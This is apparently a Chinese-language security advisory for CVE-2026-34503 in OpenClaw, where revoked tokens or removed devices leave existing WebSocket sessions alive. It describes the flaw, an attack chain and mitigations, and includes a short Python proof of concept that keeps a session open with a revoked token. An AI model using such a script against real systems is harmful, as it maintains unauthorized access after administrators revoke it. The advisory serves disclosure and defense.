IPBUF安全漏洞报告
English
CVE-2026-34503 CVSS 8.1 高危

CVE-2026-34503 OpenClaw WebSocket会话未正确终止漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34503
漏洞类型
访问控制失效
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

OpenClawWebSocket会话管理权限绕过访问控制失效

漏洞概述

OpenClaw在2026.3.28之前的版本中存在安全漏洞。当设备被移除或访问令牌被撤销时,系统未能断开活跃的WebSocket会话。这导致拥有已撤销凭证的攻击者能够通过现有的活跃WebSocket连接继续维持未授权访问,直到被迫重新连接为止。该漏洞可能导致机密性泄露和完整性破坏。

技术细节

该漏洞源于服务器端对WebSocket会话生命周期管理的缺陷。在正常的认证流程中,当令牌被撤销时,服务端应立即终止所有关联的会话。然而,OpenClaw仅阻止了新的HTTP请求认证,未对已建立的WebSocket长连接进行清理。由于WebSocket连接建立后通常不频繁重新验证令牌,攻击者利用此漏洞,可在权限被回收后,继续利用原本的WebSocket通道进行数据交互,绕过了撤销机制。

攻击链分析

STEP 1
获取凭证
攻击者获取OpenClaw的有效用户凭证,并成功登录系统。
STEP 2
建立会话
攻击者使用凭证与服务器建立WebSocket长连接,用于实时通信。
STEP 3
权限撤销
管理员撤销了攻击者的令牌或移除了其设备,理论上应终止其访问权限。
STEP 4
绕过验证
由于漏洞存在,服务器未断开现有的WebSocket连接,攻击者继续利用该连接进行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import websocket import time # This PoC demonstrates that a WebSocket connection remains active # even after the token has been revoked on the server side. def test_websocket_persistence(): # Target URL (example) url = "wss://openclaw.example.com/ws" # Use a token that is about to be revoked or has been revoked headers = { "Authorization": "Bearer REVOKED_TOKEN_HERE" } print("[+] Attempting to establish WebSocket connection...") ws = websocket.create_connection(url, header=headers) print("[+] Connection established.") try: while True: # Simulate sending data over the revoked session ws.send("ping") result = ws.recv() print(f"[+] Server response: {result}") print("[+] Session still active despite token revocation.") time.sleep(5) except KeyboardInterrupt: ws.close() print("[!] Connection closed by user.") if __name__ == "__main__": test_websocket_persistence()

影响范围

OpenClaw < 2026.3.28

防御指南

临时缓解措施
临时缓解措施包括定期重启OpenClaw服务以强制清理所有会话,或者在应用网关层配置规则,检测并关闭长时间活跃的可疑WebSocket连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表